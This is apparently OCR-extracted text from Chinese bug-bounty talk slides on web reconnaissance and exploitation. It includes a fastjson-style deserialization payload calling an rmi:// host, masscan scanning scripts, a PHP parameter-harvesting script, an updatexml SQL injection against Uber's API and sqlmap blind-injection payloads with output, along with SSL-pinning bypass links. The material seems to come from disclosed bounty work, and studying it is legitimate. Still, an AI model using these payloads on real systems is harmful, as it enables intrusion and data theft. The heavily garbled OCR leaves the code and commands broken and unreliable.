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O der  dempia,.  NSS.wesw m.COM Pull requests Issues Marketplace Explore

Commits

Issues

Wikis

Languages

Java

Advanced s

rch

2 code results in devir dea rers vk T vr

Java

Cheat ¢

public ¢ String ONLINE_URL = "http://pr.nss. s=&=r.=,com/sentry/passive";

w2 TR, ST o0, v syl - vl VyApplication.java

Showing the top four ches Lastindexed 23 days ago

p ge com.example.a.testshaobingmonitorprj;

import android.app.Application;
import android.content.Context;

"normal",
null

|

TcStatInterface.setUrl("http://pr.nss,ma==me, com/sentry/passive");
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Raw | Params | Headers | Hex

GET /sentry/passive HTTP/1.1

Host: pr.ns agp.cCOM

Pragma: no-ta

Cache-Control: no-

Content-Type: applicatiolfy

User-Agent: Mozilla/5.0 (Maci ; Intel Mac OS X 10_13_2) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/53.0. 116 Safari/537.36

Accept:

text/html.application/xhtml+xml.application Msgl:q=0.9,image/webp.*/*:0=0.8
Accept-Language: zh-CN,zh:;q=0.8.en;q=0.6

Content-Length: 113

I e AT SRR W P g LR ]t ol R o
ey """ w A

Raw | Headers | Hex

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 30 Dec 2017 08:43:53 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 101

Connection: keep-alive

Vary: Accept-Encoding
Access-Control-Allow-Origin: *

\ W7 —
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Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS, DELETE

Access-Control-Max-Age: 3600

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, client_id, uuid,

Authorization
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache

{"status":200, "message":"data model error:f

Fl{EmodelName clusterName timestamp"}
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Raw | Params | Headers | Hex | Raw | Headers | Hex

POST /sentry/passive HTTP/1.1 HTTP/1.1 200 OK

Host: pr.nss.. A .. = -“om Server: nginx

Pragma: no-cache Date: Sat, 30 Dec 2017 08:45:43 GMT

Cache-Control: no-cache Content-Type: application/json;charset=utf-8

Content-Type: application/json Content-Length: 63

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 Connection: keep-alive

(KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 Vary: Accept-Encoding

Accept: Access-Control-Allow-Origin: *

text/html.application/xhtml+xml.application/xml;q=0.9.image/webp.*/*;q=0.8 Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS, DELETE

Accept-Language: zh-CN,zh;g=0.8.en;q=0.6 Access-Control-Max-Age: 3600

Content-Length: 53 Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, client_id, uuid,
Authorization

{"modelName":"1" "clusterName":"1" "timestamp™:"1"} Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache

{"status":200, "message";"data model error:convert JSON error"}
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Raw | Params | Headers | Hex

POST /sentry/passive HTTP/1.1
Host: pr.nss..md .com

Pragma: no-cache

Cache-Control: no-cache

Content-Ty applic
User-Agent: Mozilla/
Gecko) Chrome/53.

ation/json
5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like
2785.116 Safari/537.36

Accept: text/html.application/xhtml+xml application/xml;q=0.9,image /webp,*/*

Accept-Language: zh
Content-Length: 113

{"@type"" 1.5un

-CN.zh;g=0.8.en;q=0.6

Setimpl”,"dataSourceName":"rmi:/, n .

e "autoCommit™:true}

J Raw | Headers | Hex |

HTTP/1.1 200 OK

Server: ngin

Date: Sat, 30 Dec 2017 08:48:24 GMT

Content-Type: application/json;charset=utf-8

Content-Lengt

Connection

Vary: Acce

Access-Control-Allow-Origin: *

Access—Control-Allow-Methods: POST, PUT, GET, OPTIONS, DELETE
Access-Control-Max-Age: 3600

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, client_id,
uuid, Authorization

Cache-Control: no-cache, no-store, must-revalidate

Pragma: no-cache

"data model error:convert JSON error"}
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e Mueany-nss «Lizs 1nunz2:/home$ 1fconfig

ifconfig
etho

Link encap:Ethernet HWaddr la: i 8:3z:48:2z

inet addr:10.171.160.21 Bcast:10.171.175.255 Mask:255.255.240.0
inet6 addr: “mER::*Cle:Zsf:PFesd:dd=z/21 Sccpe:Llirk

UP BROADCAST RUNNING MULTICAST MTU:1400 Metric:1

RX packets:21218218 errors:0@ dropped:@ overruns:® frame:0

TX packets:26872632 errors:@ dropped:® overruns:@ carrier:0
collisions:@ txqueuelen:1000

RX bytes:1145452959 (1.0 GiB) TX bytes:1966455741 (1.8 GiB)

Link encap:Ethernet HWaddr B.ae =and=s §os7d kI

inet addr:10.172.128.83 Bcast:10,172,128.127 Mask:255.255.255.192
inet6 addr: .oiEE:: Elk:zachl:lode: 433724 Eepgeilink

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:10694731078 errors:@ dropped:@ overruns:@ frame:0

TX packets:10743969286 errors:@ dropped:@ overruns:@ carrier:0
collisions:@ txqueuelen:1000

RX bytes:5897444964425 (5.3 TiB) TX bytes:6526799397258 (5.9 TiB)

Link encap:Ethernet HWaddr fa: 4:1=:4J: 50 4F

inet addr: wa. 111 & .1, Bcast: . «40.2%% Mask:255.255.252.0
inet6 addr: “eer: Rl TrifAr i 012020 =cope:link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1101271796 errors:@ dropped:® overruns:® frame:@

TX packets:4172114 errors:0 dropped:@ overruns:@ carrier:0
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ipwhois.cnnic.net.cn

MK E104.245.14.87TRIF P {EFCNNIC IPHLEEHE R E RS
fERI A FICNNIC R P EAERIPHLE S ECE R

IPva it EFif)

BRRAAMEENR

IPvEitihit i)

ASEHEEI

HBHEMER

REEHRER

A IPvAEE(20210.72.0.0 8Y 210.72.0.0/19 8
210.72.0.0 - 210.72.31.255), HifIPvaithitfIEXER

123.58.191.1
HBAER (#NIPAS1-CN), EHEAAMEXESR

B IPvEithE(402001:F88::5; 2001:F88::/32), &EilIPv6
htExESR

EMAASSHE(UN98118EASE811), EIHASSIER

THEAHE(A0211.144.211.0/2480121.58.144.0/20), EifjiE
HIEMHEXER

WEMARMEZFM(AICSTNET), HHMEZMIBXRES
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ipwhois.cnnic.net.cn

Vil 5104.245.14 8709 {EFACNNIC IPHhiLEHE R TR S
fBuAZEFICNNIC P EARAIPHN S EER

E@AIPvatthit(40210.72.0.0 8 210.72.0.0/19 8§
210.72.0.0 - 210.72.31.255), #EHifIPvaltthtpigRER

IPv4ithiit B8
BRAEREN BMABRAKS(UIIPASI-CN), EWBEREAEXES

' BHIAIPveithiit(412001:F88::8 2001:F88::/32), BiIPve
IPvEitit & iﬁ!tﬁ*ﬂ,‘f:ﬁra
ASSHE HBAASSI(M98113AS9811), HiASSIBIAXES

TE AL (30211.144.211.0/248121.58.144.0/20), ZEHifE

HRHEMEE A i
HIEAHAXRESR

MBEHER EMARMEBTRUCSTNET), EOMEBIEXES
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ALLOCATED PORTABLE
MAINT-CNNIC-AP

- IMAINT-CNNIC-AP
RT-CNNIC-CN

NetEase Building No.16 Ke Yun Road, Zhong Shan Avenue,

AUTO1-FW
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1. sudo masscan 59.111.14.159 -p1-65535 --rate 2000 (masscan)
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import

import

import sys

import click
import subprocess
import threading

limitNumber = 80
lock = threading.Lock()

command = 'masscan 59.111.14.159 -pl1-65535 ——rate 2000'
child = subprocess.Popen(command, stdout=subprocess.PIPE,stderr=subprocess.
while child.poll() is None:
output = child.stdout.readline()
line = str(output, encoding='utf-8').strip()
if 'found=' in line:
lock.acquire()
print(line)
lock.release()
foundNumber = re.findall(r'found=(\d{1,5})"', line)
if int(foundNumber[-1]) > int(limitNumber):
os.kill(child.pid, 9)
print('&{LIBEWAF!7ZEHO "'+ str(foundNumber[-1]) +'1")
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STDOUT,shell=True)
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= Desktop — PwnDog@PwnDog — ~/Desktop — -zsh — 80x24

PwnDog@PwnDog:~/Desktop% sudo python3 limitPortNumber.py
Discovered open port 11137/tcp on 59.111.14.159ing, found=0
Discovered open port 11274/tcp on 59.111.14.159ing, found=68
Discovered open port 14574/tcp on 59.111.14.159ing, found=127
BUBBWAFIEFER O L1277

PwnDog@PwnDog:~/Desktop%
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--version-all //& &R 325
--open // RN H Hi
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https://opendata.rapid7.com/sonar.rdns_v2/
https://opendata.rapid7.com/sonar.fdns_v2/
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> 1S FEphp X HREE—THE T py * %
e 3 import os L
2 import sys
3 import os
4 import os.pa 4 » 2-REFAAEphp3EE.py b
5 dimport shuti i
6 dimport time, 1 #!/usr/bin/env python o
7 i_,r,'po,i randg 2 # —=* coding:utf-§ = -
8 s-open{"php. 3 import os, sys 3
] tar etnir_u': ) relnad(sys)

T rangon mums 5 sys.setdefaultenco 4»r 3I-REFEHEG BNy
11 randon:cha:: 6 - : 1 #!/usr/bin/env python
12 for sourcebi ; dir = './test6/ 2 # = codingiutf-B —%-
33 print so e 3
14 if os.pa 1: g_r;”‘ 4 fron multiprocessing.dummy ‘nport Pool
15 cont = 5 import t
16 11 for root, dirs, fi ¢ :;Lo,ri ;‘;g"es ?
17 elses 12 for Line din fi 3 Jmiort re
18 a= 13 print line g
19 ifq M sss-open(" g "
20 15 sss.write( 15 i;00-¢ json
21 16 sss.close( 4
22 elst i; ;"izggp";tzs ai 12 reload(sys)
23 of 1 OLMN2 - 93 gys, setdefaultencoding( "utf-g"
19 for filename i ,, X EREE R )
28 print dirp 15  gef read_dic(dic):
21 16 dictlist - []
17 f - open(dic)
18 for line in f:
19 dictlist.append{line.strip())
20 f.close()
21 return dictlist
22
23 def scan(pack,packl):
24 z-[1]
25 document_content - open("%s"%pack)
26 txt - document_content. read()
27 z.append(txt)
28
29 #IEMENS_GET[15_POST 13008
30 a-re. findall{r"\$_GET\['(.+7)']", z[0])
31 b=re. findall{r'\$_GET\["(.+7)"1"', z[@])
32 c-re.findall{r'\$_POST\["(.+7)"]1", z[@])
33 d=re.findall{r'\$_POST\["(.+7}"]", z[0])
34
35 #listxE, BRES, Whstr
36 al-list(set({a))
37 bl=1ist(set(b))
38 cl-list(set(c))
39 di-list(set(d))
L 40 #print type(al)
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3. mysql
mysql> mysql> select * from php_parameters where file_name like '%url¥';
+-- + 4 ' ;
| id | file_name | method_get | method_post |
== + + + +
| 114 | addurl.php | , action | url, code |
| 391 | AdminShopUrlController.php | , status.$this->table) || isset($_GETstatus | |
| 670 | baidu_url.php |, q | |
| 1162 | config_reurl.php |, type | save |
| 1380 | ctl_url_add.php | , start, id, type | |
| 1384 | ctl_url_add.php-14.8261210475-d.php | , start, id, type | |
| 1389 | curltester.php | , authnet, ssl, paypal, proxyaddress, firstdata, proxy, linkpoint | |
| 1687 | EditIPofURL.Admin.class.php | action, , entry | |
| 1972 | fun_url.php la, , m | |
| 2001 | furl_rewrite.php-14.8261210475-d.php | , 1id, app, shopid, page | |
| 2002 | furl_rewrite.php | , 1id, app, shopid, page | |
| 2116 | google_url.php | , q | |
| 2969 | notify_url.php-14.8261210475-d.php | , receive_mobile, receive_name, receive_phone, out_trade_no, total_fee, receive_zip, receive_address | |
| 2978 | notify_url.php | , receive_mobile, receive_name, receive_phone, out_trade_no, total_fee, receive_zip, receive_address | |
| 3121 | other_gourl.php | , 1id, seek, mode | |
| 3223 | parseurl_control.class.php | control, cid, name, , rewrite, page, mid, u, action, id | |
| 3338 | plugin.prettyurls.php | , entry, u | |
| 3482 | prourl.class.php-14.8261210475-d.php | a, m | |
| 3483 | prourl.class.php la, m | |
| 3625 | return_url.php | , receive_mobile, receive_name, receive_phone, out_trade_no, total_fee, receive_zip, receive_address | |
| 3628 | Reurl.php | , url, id | |
| 3763 | secureurl.php | , aku, submit, state, sort_order, id®, 1id, where | |
| 3779 | seo.url.php | , main_page | |
| 4118 | tburl.php |, id | |
| 4500 | url_submit.php | , action, submit_id, page | url, submit_id, do_action |
| 4581 | urlaub.php | , hol_monat, hol_jahr, action | hol_monat, hol_jahr |
| 4502 | urleditor.functions.php la, ¢, , e al, m, rwr, t, u, id | |
| 4503 | Urlrule.php | admin, | ]
| 4584 | UrlThumb,php | , src, hash, h, wt, w, iar | |
| 4783 | yourls-go.php |, id | |
| 4784 | yourls-infos.php |, all, id | |
+== + + + +

31 rows in set (0.00 sec)

] mysql> I
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3. mysaql

mysgl> select * from php_parameters where file_name like "news%' limit ©,36;

fmm———— A e o e e +
| id | file_name | method_get | method_post |
| 2898 | news.disposal.inc.php | , action, id I I
| 2899 | news.manage.inc.php | action, page, id, page | content, newstype, newstitle I
| 290@ | news.php [ | |
| 2901 | news_add.php | action, | I
| 2902 | news_admin.php-14.8261210475-d.php | , page I I
| 2983 | news_class.php | type, page I I
| 2904 | news_controller.php | , title, month, year, day, id | |
| 2905 | news_controller.php-14.8261210475-d.php | , title, month, year, day, id | |
| 2906 | news_do.php-14.8261210475-d.php 1, act, id | comment I
| 2907 | news_do.php | act, , s, id | id_list, tag I
| 2908 | news_edit.php | edit, id | source, typ, title, description, Submit, d_content, is_top, time, newsid, path, keywords, 1is_hot |
| 2929 | news_function.php | , catid | |
| 2910 | news_functions.php-14.826121@475-d.php | , mod I I
| 2911 | news_list.php | , pageno I I
| 2912 | news_mod.php | action, | I
| 2913 | news_move.php | action, , id | I
| 2914 | news_module.php | , catid, m, s, del, time | |
| 2915 | news_ok.php | , act | remoteimg I
| 2916 | news_step.php I , m I I
| 2917 | newsadd.php I, url | url |
| 2918 | NewsAdd.php-14.8261210475-d.php |, type | |
| 2919 | newsBySort.php-14.8261210475-d.php | , page, id I I
| 2920 | newscat.php | edit, ishome, del, catid, | action, updateID, nums I
| 2921 | newsBySort.php | , s, page, pagesize | |
| 2922 | newsclass.php | newstypeid, tj, id | newstype, submit |
| 2923 | NewsDelete-tpl.php 1, id I I
| 2924 | newsDetail.php 1, id | |
| 2925 | newsDetail.php-14,8261210475-d.php | page, all, id I |
| 2926 | NewsEdit.php-14.8261210475-d.php |, s | |
| 2927 | newsinfo.php I, 1id, type I I
| 2928 | newsHot.php | , page I I
| 2929 | Newsletter.php-14,8261210475-d.php | , page | |
| 2930 | newsList.php | , page, pagesize | |
| 2931 | newslist.php-14.8261210475-d.php | , page, id I I
| 2932 | NewslistAction.class.php | , state, pid, id, wuid I I
| 2933 | newsSearch.php | q, , page I I

36 rows in set (0.0@ sec)

mysql> I

4

4



\wy, W4
r——
e ﬁl ity
I~ DEFCON

GROUP 8531

HACKER COMMUNITY

Uber Euh % FEN
IS EEAPI+APIRIE+ S BRI E=—7F




AW, .4

% 1§I DEI:éDN

GROUP B531

HACKER COMMUNITY

&= Load URL  wim B b= & = mjusers
i split URL
i Execute

Enable Post data Enable Referrer

ShEis email=¢ 1™ A% LI Wr-Rnickname =®. 0. 5. ;&openid=test123456%27)and%20updatexml(1,concat{0x7e,(SELECT%20database()),0x7e),1)%23&phone= M- I I. .B3RfirstName=d m &lastName=ay'a&

picture=httpsen. il /&promoCode= I@™ W -&createBy=test&createBy:‘I|

database()),0x7e),1)#", " "phone" : "l it Tind.Tod ", "email” : " Ao o Mo m s "ol , LirstName":"ALak","lastName":"@.@","picture”:"http://mba’
@g’", "promoCode” : " duu by S d”, "createTime"”:"2016-06-29T15:00:44.783Z2", "createBy": "anonymous", "id":464785}}
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SEmms E B Hq“'USETS/thEF

Execute

2 Enable Post data Enable Referrer

Post data email=J. w n § o

{"result":"error", "errmsg":"ER_UNKNOWN ERROR: XPATH syntax error: '~uber community-'"} E
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Uber rewarded = may= with a $3,000 bounty.

Thanks for the report. We hope you continue to participate in our bug bounty program in the future!
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&« C & ®O108 """ 617

Forbidden

You don't have permission to access / on this server.

Apache/2.2.22 (Debian) Server at " W L3 223 Port 80
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C http://101 + _d44&7/adver/landing.php

{"msg":"params error","status":0}

ESY] -
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http://106.**.** 147 /adver/landing.php?mac=1

sible for any misuse or damage caused by this program

[*] starting at 16:16:52

sqlmap resumed the following injection point(s) from stored session:
Parameter: mac (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: mac=1"' AND 5711=5711 AND 'QKux'="QKux

Type: AND/OR time-based blind
Title: MySQL >= 5.@0.12 AND time-based blind (SELECT)
Payload: mac=1' AND (SELECT * FROM (SELECT(SLEEP(5)))AiGP) AND 'Bqod'='Bgod

[16:16:52] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12

[ sl [ |

[16:16:57] [INFO
current use

[*] shutting down at 16:16:57
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SSL Pining

HfiRiosZE 1FSSL PinningdlApp Store Yl
ios: http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html

e A F P E R TR
Android: https://github.com/WooyunDota/DroidSSLUnpinning
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